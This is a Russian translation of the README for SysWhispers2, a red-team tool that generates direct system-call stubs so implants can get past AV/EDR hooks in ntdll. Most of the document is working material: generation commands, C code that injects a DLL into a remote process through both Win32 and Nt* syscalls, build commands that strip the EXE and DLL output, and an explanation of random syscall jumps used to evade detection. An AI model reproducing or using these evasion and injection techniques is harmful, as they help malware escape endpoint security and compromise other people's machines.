
Обход AV/EDR с помощью прямых системных вызовов.
SysWhispers помогает обходить защиту, генерируя заголовочные файлы и файлы ASM, которые импланты могут использовать для прямого вызова системных вызовов.
Поддерживаются все основные системные вызовы, а примеры сгенерированных файлов доступны в папке example-output/.
Использование практически идентично SysWhispers1, но не нужно указывать, какие версии Windows поддерживать. Большинство изменений находятся внутри. Он больше не полагается на таблицы системных вызовов от @j00ru, а использует технику «сортировки по адресу системного вызова», популяризированную @modexpblog. Это значительно уменьшает размер заглушек системных вызовов.
Реализация в SysWhispers2 является вариантом кода @modexpblog. Одно из отличий — хэши имён функций рандомизируются при каждой генерации. @ElephantSe4l, который опубликовал эту технику ранее, имеет другую реализацию на C++17, которую также стоит изучить.
Оригинальный репозиторий SysWhispers всё ещё доступен, но может быть устаревшим в будущем.
Различные продукты безопасности устанавливают перехватчики в пользовательские функции API, позволяя им перенаправлять поток выполнения в свои движки и обнаруживать подозрительное поведение. Функции в ntdll.dll, выполняющие системные вызовы, состоят всего из нескольких инструкций ассемблера, поэтому их повторная реализация в вашем импланте может обойти срабатывание этих перехватчиков. Эта техника была популяризирована @Cn33liz, и в его статье содержится больше технических деталей, которые стоит прочитать.
SysWhispers предоставляет специалистам по Red Team возможность генерировать пары заголовков/ASM для любого системного вызова в образе ядра (ntoskrnl.exe). Заголовки также будут содержать необходимые определения типов.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Экспорт всех функций с совместимостью для всех поддерживаемых версий Windows (см. example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Экспорт только общих функций (см. список ниже).
py .\syswhispers.py --preset common -o syscalls_common
# Экспорт NtProtectVirtualMemory и NtWriteVirtualMemory с совместимостью для всех версий.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Импортируем сгенерированный заголовок.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Использование ключа --preset common создаст пару заголовок/ASM со следующими функциями:
Следующие примеры показывают, как скомпилировать приведённые выше программы в виде EXE и DLL с помощью MinGW и ассемблера NASM:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 создаёт совместимый с clang файл .s, содержащий заглушки ASM. Его можно использовать с llvm для компиляции вашего кода. Например, с использованием примера инъекции DLL CreateRemoteThread выше:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
Опция вывода inlinegas генерирует версию SysWhispers2 только в виде заголовка, которую можно использовать при компиляции BOF. Просто включите заголовок в свой проект.
Использование процедуры случайных переходов системных вызовов позволяет избежать «метки системного вызова». Заглушка на ассемблере вызывает новую функцию SW__GetRandomSyscallAddress, которая ищет и выбирает чистую инструкцию системного вызова в ntdll.dll для использования. Это позволяет также избежать срабатывания пользовательских инструкций системного вызова.
Чтобы использовать случайные переходы системных вызовов, необходимо определить RANDSYSCALL при компиляции программы и использовать rnd версию вывода SysWhispers2. Следующие примеры демонстрируют использование заглушек GNU Assembler.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) не поддерживаются.syscalls.h уже были определены.
--preset all редко требуется).syscalls.h.Разработано @Jackson_T и @modexpblog, но основано на работе многих других:
Этот проект лицензирован по лицензии Apache License 2.0.